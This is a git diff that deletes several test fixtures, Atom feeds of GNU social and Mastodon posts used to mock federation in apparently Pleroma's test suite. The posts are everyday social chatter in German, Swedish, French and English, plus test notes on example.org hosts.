- - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.stopwatchingus-heidelberg.de,2017-08-24:noticeId=978734:objectType=comment - New comment by atarifrosch - Jo, die Anzahl der Hartz-IV-Sanktionen nennt sie genausowenig wie die Anzahl der Menschen, die von den Repressionsbehörden in Obdachlosigkeit und Suizid getrieben wurden. Das würde die Erfolgszahlen dann doch ein wenig trüben, nech? - - - http://activitystrea.ms/schema/1.0/post - 2017-08-24T09:18:13+00:00 - 2017-08-24T09:18:13+00:00 - - - - https://social.hoergen.org/conversation/98616 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-24:noticeId=978732:objectType=note - New note by atarifrosch - Moin-quak. - - - http://activitystrea.ms/schema/1.0/post - 2017-08-24T09:09:39+00:00 - 2017-08-24T09:09:39+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-24:noticeId=978732:objectType=thread:crc32=2f92b7b6 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-23:noticeId=978594:objectType=note - New note by atarifrosch - n8-quak! - - - http://activitystrea.ms/schema/1.0/post - 2017-08-23T21:39:54+00:00 - 2017-08-23T21:39:54+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-23:noticeId=978594:objectType=thread:crc32=9bdb0ac9 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-23:noticeId=978503:objectType=note - New note by atarifrosch - 2017-08-16 Michal Špaček: Post a boarding pass on Facebook, get your account stolen – Post a boarding pass on Facebook, get your account stolen (gilt übrinx nicht nur für Facebook) - - - http://activitystrea.ms/schema/1.0/post - 2017-08-23T15:14:29+00:00 - 2017-08-23T15:14:29+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-23:noticeId=978503:objectType=thread:crc32=3de05c3a - - - - - - - tag:social.stopwatchingus-heidelberg.de,2017-08-23:fave:18330:activity:978458:2017-08-23T15:18:19+02:00 - Favorite - atarifrosch favorited something by einebiene: Haha, große Überraschung. <a href="http://www.sueddeutsche.de/wirtschaft/abgasaffaere-software-updates-fuer-dieselautos-helfen-kaum-1.3637636" title="http://www.sueddeutsche.de/wirtschaft/abgasaffaere-software-updates-fuer-dieselautos-helfen-kaum-1.3637636" rel="nofollow noreferrer" class="attachment">https://quitter.is/url/1122672</a><br /> Was ich an all diesen Artikeln schade finde, ist, daß immer nur auf den Umstieg von Auto zu anderem Auto gesprochen wird. Öffis werden nicht erwähnt, Carsharing nicht, radeln nicht, und in der Stadt wäre ne Vespa auch deutlich besser als ein SUV. - http://activitystrea.ms/schema/1.0/favorite - 2017-08-23T13:18:19+00:00 - 2017-08-23T13:18:19+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:quitter.is,2017-08-23:noticeId=4032910:objectType=note - New note by einebiene - Haha, große Überraschung. <a href="http://www.sueddeutsche.de/wirtschaft/abgasaffaere-software-updates-fuer-dieselautos-helfen-kaum-1.3637636" title="http://www.sueddeutsche.de/wirtschaft/abgasaffaere-software-updates-fuer-dieselautos-helfen-kaum-1.3637636" rel="nofollow noreferrer" class="attachment">https://quitter.is/url/1122672</a><br /> Was ich an all diesen Artikeln schade finde, ist, daß immer nur auf den Umstieg von Auto zu anderem Auto gesprochen wird. Öffis werden nicht erwähnt, Carsharing nicht, radeln nicht, und in der Stadt wäre ne Vespa auch deutlich besser als ein SUV. - - - - - - - https://quitter.is/conversation/2535246 - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-23:noticeId=978402:objectType=note - New note by atarifrosch - moin-quak - - - http://activitystrea.ms/schema/1.0/post - 2017-08-23T10:57:26+00:00 - 2017-08-23T10:57:26+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-23:noticeId=978402:objectType=thread:crc32=7050c397 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-22:noticeId=978164:objectType=note - New note by atarifrosch - n8-quak - - - http://activitystrea.ms/schema/1.0/post - 2017-08-22T19:54:30+00:00 - 2017-08-22T19:54:30+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-22:noticeId=978164:objectType=thread:crc32=b0a209c7 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-22:noticeId=978072:objectType=note - New note by atarifrosch - 2017-08-22 Bundesverfassungsgericht: Erfolgreiche Verfassungsbeschwerde gegen die Versagung vorläufiger Leistungen für Kosten der Unterkunft und Heizung – <a href="https://www.bundesverfassungsgericht.de/SharedDocs/Pressemitteilungen/DE/2017/bvg17-072.html" title="https://www.bundesverfassungsgericht.de/SharedDocs/Pressemitteilungen/DE/2017/bvg17-072.html" class="attachment" id="attachment-450768" rel="nofollow external">https://www.bundesverfassungsgericht.de/SharedDocs/Pressemitteilungen/DE/2017/bvg17-072.html</a> !<a href="http://quitter.se/group/2184/id" class="h-card group" title="HartzIV (hartziv)">hartziv</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-08-22T12:00:21+00:00 - 2017-08-22T12:00:21+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-22:noticeId=978072:objectType=thread:crc32=28a35f44 - - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-22:noticeId=978042:objectType=note - New note by atarifrosch - moin-quak! - - - http://activitystrea.ms/schema/1.0/post - 2017-08-22T07:55:27+00:00 - 2017-08-22T07:55:27+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-22:noticeId=978042:objectType=thread:crc32=f070a9f7 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-21:noticeId=977914:objectType=note - New note by atarifrosch - So, morgen geht's weiter. n8-quak! - - - http://activitystrea.ms/schema/1.0/post - 2017-08-21T22:09:53+00:00 - 2017-08-21T22:09:53+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-21:noticeId=977914:objectType=thread:crc32=c0a9f7fa - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-21:noticeId=977710:objectType=note - New note by atarifrosch - moin-quak. - - - http://activitystrea.ms/schema/1.0/post - 2017-08-21T08:58:26+00:00 - 2017-08-21T08:58:26+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-21:noticeId=977710:objectType=thread:crc32=60cfb466 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-20:noticeId=977526:objectType=note - New note by atarifrosch - Meine Augen meinen, für heute sei es genug. Nun denn. n8-quak. - - - http://activitystrea.ms/schema/1.0/post - 2017-08-20T19:58:16+00:00 - 2017-08-20T19:58:16+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-20:noticeId=977526:objectType=thread:crc32=ce79634 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-20:noticeId=977369:objectType=note - New note by atarifrosch - [Blog] Im Netz aufgefischt #<span class="tag"><a href="https://social.stopwatchingus-heidelberg.de/tag/330" rel="tag">330</a></span> – <a href="https://blog.atari-frosch.de/2017/08/20/im-netz-aufgefischt-330/" title="https://blog.atari-frosch.de/2017/08/20/im-netz-aufgefischt-330/" class="attachment" id="attachment-450668" rel="nofollow external">https://blog.atari-frosch.de/2017/08/20/im-netz-aufgefischt-330/</a> (was ich diese Woche so gelesen habe) - - - http://activitystrea.ms/schema/1.0/post - 2017-08-20T09:14:07+00:00 - 2017-08-20T09:14:07+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-20:noticeId=977369:objectType=thread:crc32=2f800b86 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-19:noticeId=977268:objectType=note - New note by atarifrosch - Fast ständig husten müssen ist echt anstrengend … naja, n8-quak. - - - http://activitystrea.ms/schema/1.0/post - 2017-08-19T21:59:20+00:00 - 2017-08-19T21:59:20+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-19:noticeId=977268:objectType=thread:crc32=deda767a - - - - - - - tag:social.stopwatchingus-heidelberg.de,2017-08-19:fave:18330:activity:977146:2017-08-19T21:39:26+02:00 - Favorite - atarifrosch favorited something by einebienezwo: Ich mach gerade Kompetenztraining.<br /> Ich trainiere die Kompetenz, eine halb aufgegessene Gummibärchentüte nicht ganz aufzuessen. - http://activitystrea.ms/schema/1.0/favorite - 2017-08-19T19:39:26+00:00 - 2017-08-19T19:39:26+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:gnusocial.de,2017-08-19:noticeId=11011264:objectType=note - New note by einebienezwo - Ich mach gerade Kompetenztraining.<br /> Ich trainiere die Kompetenz, eine halb aufgegessene Gummibärchentüte nicht ganz aufzuessen. - - - - - - - https://gnusocial.de/conversation/9363945 - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.stopwatchingus-heidelberg.de,2017-08-19:noticeId=977242:objectType=comment - New comment by atarifrosch - Wir hatten hier schon Ordnungsdienst auf'm Radweg. Fotografisch dokumentiert (nicht von mir, Bekannter hatte es gesehen). Da hatte grad 'ne Pizzeria neu eröffnet … - - - http://activitystrea.ms/schema/1.0/post - 2017-08-19T19:38:53+00:00 - 2017-08-19T19:38:53+00:00 - - - - https://gnusocial.de/conversation/9363813 - - - - - - - - tag:social.stopwatchingus-heidelberg.de,2017-08-19:fave:18330:activity:977180:2017-08-19T21:37:36+02:00 - Favorite - atarifrosch favorited something by jcaktiv: BTW Hallo zusammen &lt;3, wo ich schon mal wieder hier bin - http://activitystrea.ms/schema/1.0/favorite - 2017-08-19T19:37:36+00:00 - 2017-08-19T19:37:36+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:quitter.se,2017-08-19:noticeId=17372467:objectType=note - New note by jcaktiv - BTW Hallo zusammen &lt;3, wo ich schon mal wieder hier bin - - - - - - - tag:quitter.se,2017-08-19:objectType=thread:nonce=46c1c433d88aaa9f - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.stopwatchingus-heidelberg.de,2017-08-19:noticeId=976985:objectType=comment - New comment by atarifrosch - Jo, oder einfach mal nachfragen, so als Realitätsabgleich. - - - http://activitystrea.ms/schema/1.0/post - 2017-08-19T10:34:50+00:00 - 2017-08-19T10:34:50+00:00 - - - - https://gnusocial.de/conversation/9362516 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.stopwatchingus-heidelberg.de,2017-08-19:noticeId=976983:objectType=note - New note by atarifrosch - Schöne Alternative zu mit Werbung überladenen kommerziellen Anbietern: <a href="http://ifconfig.at/" title="http://ifconfig.at/" class="attachment" id="attachment-450636" rel="nofollow external">http://ifconfig.at/</a> – eigene IP, Hostname etc. abfragen, mit curl dann auch in Textform zur lokalen Weiterverarbeitung in Scripten etc. Leider (noch?) kein https. - - - http://activitystrea.ms/schema/1.0/post - 2017-08-19T10:33:04+00:00 - 2017-08-19T10:33:04+00:00 - - tag:social.stopwatchingus-heidelberg.de,2017-08-19:noticeId=976983:objectType=thread:crc32=4a3593c0 - - - - - - diff --git a/test/fixtures/tesla_mock/emelie.atom b/test/fixtures/tesla_mock/emelie.atom deleted file mode 100644 index ddaa1c6ca..000000000 --- a/test/fixtures/tesla_mock/emelie.atom +++ /dev/null @@ -1,306 +0,0 @@ - - - https://mastodon.social/users/emelie.atom - emelie 🎨 - 23 / #Sweden / #Artist / #Equestrian / #GameDev - -If I ain't spending time with my pets, I'm probably drawing. 🐴 🐱 🐰 - 2019-02-04T20:22:19Z - https://files.mastodon.social/accounts/avatars/000/015/657/original/e7163f98280da1a4.png - - https://mastodon.social/users/emelie - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/emelie - emelie - emelie@mastodon.social - <p>23 / <a href="https://mastodon.social/tags/sweden" class="mention hashtag" rel="tag">#<span>Sweden</span></a> / <a href="https://mastodon.social/tags/artist" class="mention hashtag" rel="tag">#<span>Artist</span></a> / <a href="https://mastodon.social/tags/equestrian" class="mention hashtag" rel="tag">#<span>Equestrian</span></a> / <a href="https://mastodon.social/tags/gamedev" class="mention hashtag" rel="tag">#<span>GameDev</span></a></p><p>If I ain&apos;t spending time with my pets, I&apos;m probably drawing. 🐴 🐱 🐰</p> - - - - emelie - emelie 🎨 - 23 / #Sweden / #Artist / #Equestrian / #GameDev - -If I ain't spending time with my pets, I'm probably drawing. 🐴 🐱 🐰 - public - - - - - - - https://mastodon.social/users/emelie/statuses/101850331907006641 - 2019-04-01T09:58:50Z - 2019-04-01T09:58:50Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>Me: I&apos;m going to make this vital change to my world building in the morning, no way I&apos;ll forget this, it&apos;s too big of a deal<br />Also me: forgets</p> - - public - - - - - - https://mastodon.social/users/emelie/statuses/101849626603073336 - 2019-04-01T06:59:28Z - 2019-04-01T06:59:28Z - New status by emelie - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - - <p><span class="h-card"><a href="https://mastodon.social/@Fergant" class="u-url mention">@<span>Fergant</span></a></span> Dom är i stort sett religiös skrift vid det här laget 👏👏</p><p>har dock bara läst svenska översättningen, kanske är dags att jag läser dom på engelska</p> - - - public - - - - - - - https://mastodon.social/users/emelie/statuses/101849580030237068 - 2019-04-01T06:47:37Z - 2019-04-01T06:47:37Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>What&apos;s you people&apos;s favourite fantasy books? Give me some hot tips 🌞</p> - - public - - - - - - https://mastodon.social/users/emelie/statuses/101849550599949363 - 2019-04-01T06:40:08Z - 2019-04-01T06:40:08Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>Stick them legs out 💃 <a href="https://mastodon.social/tags/mastocats" class="mention hashtag" rel="tag">#<span>mastocats</span></a></p> - - - - public - - - - - - https://mastodon.social/users/emelie/statuses/101849191533152720 - 2019-04-01T05:08:49Z - 2019-04-01T05:08:49Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>long 🐱 <a href="https://mastodon.social/tags/mastocats" class="mention hashtag" rel="tag">#<span>mastocats</span></a></p> - - - - public - - - - - - https://mastodon.social/users/emelie/statuses/101849165031453009 - 2019-04-01T05:02:05Z - 2019-04-01T05:02:05Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>You gotta take whatever bellyrubbing opportunity you can get before she changes her mind 🦁 <a href="https://mastodon.social/tags/mastocats" class="mention hashtag" rel="tag">#<span>mastocats</span></a></p> - - - - public - - - - - - https://mastodon.social/users/emelie/statuses/101846512530748693 - 2019-03-31T17:47:31Z - 2019-03-31T17:47:31Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>Hello look at this boy having a decent haircut for once <a href="https://mastodon.social/tags/mastohorses" class="mention hashtag" rel="tag">#<span>mastohorses</span></a> <a href="https://mastodon.social/tags/equestrian" class="mention hashtag" rel="tag">#<span>equestrian</span></a></p> - - - - - public - - - - - - https://mastodon.social/users/emelie/statuses/101846181093805500 - 2019-03-31T16:23:14Z - 2019-03-31T16:23:14Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>Sorry did I disturb the who-is-the-longest-cat competition ? <a href="https://mastodon.social/tags/mastocats" class="mention hashtag" rel="tag">#<span>mastocats</span></a></p> - - - - public - - - - - - https://mastodon.social/users/emelie/statuses/101845897513133849 - 2019-03-31T15:11:07Z - 2019-03-31T15:11:07Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - more earthsea ramblings - <p>I&apos;m re-watching Tales from Earthsea for the first time since I read the books, and that Therru doesn&apos;t squash Cob like a spider, as Orm Embar did is a wasted opportunity tbh</p> - - public - - - - - - https://mastodon.social/users/emelie/statuses/101841219051533307 - 2019-03-30T19:21:19Z - 2019-03-30T19:21:19Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>I gave my cats some mackerel and they ate it all in 0.3 seconds, and now they won&apos;t stop meowing for more, and I&apos;m tired plz shut up</p> - - public - - - - - - https://mastodon.social/users/emelie/statuses/101839949762341381 - 2019-03-30T13:58:31Z - 2019-03-30T13:58:31Z - New status by emelie - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - - <p>yet I&apos;m confused about this american dude with a gun, like the heck r ya doin in mah ghibli</p> - - public - - - - - - - https://mastodon.social/users/emelie/statuses/101839928677863590 - 2019-03-30T13:53:09Z - 2019-03-30T13:53:09Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>2 hours into Ni no Kuni 2 and I&apos;ve already sold my soul to this game</p> - - public - - - - - - https://mastodon.social/users/emelie/statuses/101836329521599438 - 2019-03-29T22:37:51Z - 2019-03-29T22:37:51Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>Pippi Longstocking the original one-punch /man</p> - - public - - - - - - https://mastodon.social/users/emelie/statuses/101835905282948341 - 2019-03-29T20:49:57Z - 2019-03-29T20:49:57Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>I&apos;ve had so much wine I thought I had a 3rd brother</p> - - public - - - - - - https://mastodon.social/users/emelie/statuses/101835878059204660 - 2019-03-29T20:43:02Z - 2019-03-29T20:43:02Z - New status by emelie - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - - <p>ååååhhh booi</p> - - public - - - - - - https://mastodon.social/users/emelie/statuses/101835848050598939 - 2019-03-29T20:35:24Z - 2019-03-29T20:35:24Z - New status by emelie - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - - <p><span class="h-card"><a href="https://thraeryn.net/@thraeryn" class="u-url mention">@<span>thraeryn</span></a></span> if I spent 1 hour and a half watching this monstrosity, I need to</p> - - - public - - - - - - - https://mastodon.social/users/emelie/statuses/101835823138262290 - 2019-03-29T20:29:04Z - 2019-03-29T20:29:04Z - New status by emelie - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - - medical, fluids mention - <p><span class="h-card"><a href="https://icosahedron.website/@Trev" class="u-url mention">@<span>Trev</span></a></span> *hugs* ✨</p> - - - public - - - - - - diff --git a/test/fixtures/tesla_mock/http__gs.example.org_index.php_api_statuses_user_timeline_1.atom.xml b/test/fixtures/tesla_mock/http__gs.example.org_index.php_api_statuses_user_timeline_1.atom.xml deleted file mode 100644 index 490467708..000000000 --- a/test/fixtures/tesla_mock/http__gs.example.org_index.php_api_statuses_user_timeline_1.atom.xml +++ /dev/null @@ -1,460 +0,0 @@ - - - GNU social - http://gs.example.org/index.php/api/statuses/user_timeline/1.atom - lambda timeline - Updates from lambda on gs.example.org! - http://gs.example.org/theme/neo-gnu/default-avatar-profile.png - 2017-05-05T12:09:57+00:00 - - http://activitystrea.ms/schema/1.0/person - http://gs.example.org:4040/index.php/user/1 - lambda - - - - - lambda - lambda - - - - - - - - - - - - - tag:gs.example.org,2017-05-04:noticeId=84:objectType=note - lambda repeated a notice by lambda2 - RT @<a href="http://gs.example.org/index.php/user/7" class="h-card mention">lambda2</a> Hello! - - http://activitystrea.ms/schema/1.0/share - 2017-05-04T16:38:50+00:00 - 2017-05-04T16:38:50+00:00 - - http://activitystrea.ms/schema/1.0/activity - tag:gs.example.org,2017-05-01:noticeId=67:objectType=note - - Hello! - - http://activitystrea.ms/schema/1.0/post - 2017-05-01T08:41:04+00:00 - 2017-05-01T08:41:04+00:00 - - http://activitystrea.ms/schema/1.0/person - http://gs.example.org/index.php/user/7 - lambda2 - - - - - - lambda2 - lambda2 - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org,2017-05-01:noticeId=67:objectType=note - New note by lambda2 - Hello! - - - - - tag:gs.example.org,2017-05-01:objectType=thread:nonce=cffa792cb95fe417 - - - http://gs.example.org/index.php/api/statuses/user_timeline/7.atom - lambda2 - - - - http://gs.example.org/avatar/7-96-20170501084054.png - 2017-05-01T16:33:10+00:00 - - - - - - tag:gs.example.org,2017-05-01:objectType=thread:nonce=cffa792cb95fe417 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org,2017-04-30:noticeId=63:objectType=note - New note by lambda - what now? - - - http://activitystrea.ms/schema/1.0/post - 2017-04-30T10:09:57+00:00 - 2017-04-30T10:09:57+00:00 - - - - tag:gs.example.org,2017-04-30:objectType=thread:nonce=1bbb60991ae9874b - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org,2017-04-30:noticeId=61:objectType=note - New note by lambda - @<a href="http://pleroma.example.org:4000/users/lain5" class="h-card mention">lain5</a> Hello! - - - http://activitystrea.ms/schema/1.0/post - 2017-04-30T10:07:26+00:00 - 2017-04-30T10:07:26+00:00 - - tag:gs.example.org,2017-04-30:objectType=thread:nonce=1bbb60991ae9874b - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org,2017-04-29:noticeId=59:objectType=note - New note by lambda - ey - - - http://activitystrea.ms/schema/1.0/post - 2017-04-29T17:04:59+00:00 - 2017-04-29T17:04:59+00:00 - - tag:gs.example.org,2017-04-29:objectType=thread:nonce=4cc42c2c61a0f4bd - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org,2017-04-29:noticeId=58:objectType=note - New note by lambda - Another one. - - - http://activitystrea.ms/schema/1.0/post - 2017-04-29T17:02:47+00:00 - 2017-04-29T17:02:47+00:00 - - tag:gs.example.org,2017-04-29:objectType=thread:nonce=53e9b8f1d6d38d13 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org,2017-04-29:noticeId=57:objectType=note - New note by lambda - Let's see if this comes over. - - - http://activitystrea.ms/schema/1.0/post - 2017-04-29T17:01:39+00:00 - 2017-04-29T17:01:39+00:00 - - tag:gs.example.org,2017-04-29:objectType=thread:nonce=238a7bd3ffc7c9cc - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org,2017-04-29:noticeId=56:objectType=note - New note by lambda - @<a href="http://pleroma.example.org:4000/users/lain5" class="h-card mention">lain5</a> Hey! - - - http://activitystrea.ms/schema/1.0/post - 2017-04-29T16:38:13+00:00 - 2017-04-29T16:38:13+00:00 - - tag:gs.example.org,2017-04-29:objectType=thread:nonce=2629d3a398171b0f - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=55:objectType=note - New note by lambda - hey. - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T18:16:13+00:00 - 2017-04-25T18:16:13+00:00 - - - - http://pleroma.example.org:4000/contexts/8f6f45d4-8e4d-4e1a-a2de-09f27367d2d0 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=53:objectType=note - New note by lambda - and this? - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T18:14:34+00:00 - 2017-04-25T18:14:34+00:00 - - - - http://pleroma.example.org:4000/contexts/24779b0e-91ad-487e-81bd-6cf5bb437b09 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=52:objectType=note - New note by lambda - yeah it does :) - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T18:13:31+00:00 - 2017-04-25T18:13:31+00:00 - - - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=e0dc24b1a93ab6b3 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=50:objectType=note - New note by lambda - @<a href="http://pleroma.example.org:4000/users/lain5" class="h-card mention">lain5</a> Let's try with one that originates here! - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T18:10:28+00:00 - 2017-04-25T18:10:28+00:00 - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=e0dc24b1a93ab6b3 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=48:objectType=note - New note by lambda - works? - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T18:08:44+00:00 - 2017-04-25T18:08:44+00:00 - - - - http://pleroma.example.org:4000/contexts/24779b0e-91ad-487e-81bd-6cf5bb437b09 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=46:objectType=note - New note by lambda - Let's send you an answer. - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T18:05:31+00:00 - 2017-04-25T18:05:31+00:00 - - - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=73c7bcf6658f7ce3 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=44:objectType=note - New note by lambda - Hey. - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T18:01:09+00:00 - 2017-04-25T18:01:09+00:00 - - - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=6e7c8fc2823380b4 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=43:objectType=note - New note by lambda - What's coming to you? - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T17:58:41+00:00 - 2017-04-25T17:58:41+00:00 - - - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=6e7c8fc2823380b4 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=42:objectType=note - New note by lambda - Now this is podracing. - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T17:57:40+00:00 - 2017-04-25T17:57:40+00:00 - - - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=6e7c8fc2823380b4 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=39:objectType=note - New note by lambda - Sure looks like it! - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T17:48:27+00:00 - 2017-04-25T17:48:27+00:00 - - - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=4c6114a75bb4cea5 - - - - - - - - tag:gs.example.org:4040,2017-04-25:subscription:1:person:6:2017-04-25T17:47:47+00:00 - lambda (lambda)'s status on Tuesday, 25-Apr-2017 17:47:47 UTC - <a href="http://gs.example.org:4040/index.php/lambda">lambda</a> started following <a href="http://pleroma.example.org:4000/users/lain5">l</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-04-25T17:47:47+00:00 - 2017-04-25T17:47:47+00:00 - - http://activitystrea.ms/schema/1.0/person - http://pleroma.example.org:4000/users/lain5 - l - lambadalambda - - - - - - lain5 - l - lambadalambda - - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=119acad17515314c - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=36:objectType=note - New note by lambda - @<a href="http://pleroma.example.org:4000/users/lain5" class="h-card mention">lain5</a> Hey, how are you? - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T17:46:22+00:00 - 2017-04-25T17:46:22+00:00 - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=9c5ec19a18191372 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=35:objectType=note - New note by lambda - @lain5@pleroma.example.org does this not work? - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T17:42:31+00:00 - 2017-04-25T17:42:31+00:00 - - tag:gs.example.org:4040,2017-04-25:objectType=thread:nonce=fc841d7f52caa363 - - - - - - diff --git a/test/fixtures/tesla_mock/https___mamot.fr_users_Skruyb.atom b/test/fixtures/tesla_mock/https___mamot.fr_users_Skruyb.atom deleted file mode 100644 index b5f3d923b..000000000 --- a/test/fixtures/tesla_mock/https___mamot.fr_users_Skruyb.atom +++ /dev/null @@ -1,342 +0,0 @@ - - - https://mamot.fr/users/Skruyb.atom - The 7th Son - Fr and En. -Posts will disappear on a regular basis. - 2017-04-28T13:54:23Z - https://mamot.fr/system/accounts/avatars/000/026/213/original/d95dbcfc76f77f4c.jpg?1493230984 - - https://mamot.fr/users/Skruyb - http://activitystrea.ms/schema/1.0/person - https://mamot.fr/users/Skruyb - Skruyb - Skruyb@mamot.fr - <p>Fr and En.<br />Posts will disappear on a regular basis.</p> - - - - Skruyb - The 7th Son - Fr and En. -Posts will disappear on a regular basis. - public - - - - - - - - tag:mamot.fr,2017-05-10:objectId=1299665:objectType=Status - 2017-05-10T20:06:59Z - 2017-05-10T20:06:59Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pouets.ovh/@noName" class="u-url mention">@<span>noName</span></a></span></p><p>Pour comparer faut avoir tester... Ô wait!!! 😁</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1299185:objectType=Status - 2017-05-10T19:52:14Z - 2017-05-10T19:52:14Z - New status by Skruyb - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://witches.town/@Dhveszak" class="u-url mention">@<span>Dhveszak</span></a></span></p><p>Toi!! Tu vises le ministère de la propagande avoue!!!!!!!</p> - - - public - - - - - - tag:mamot.fr,2017-05-10:objectId=1299019:objectType=Status - 2017-05-10T19:47:19Z - 2017-05-10T19:47:19Z - New status by Skruyb - 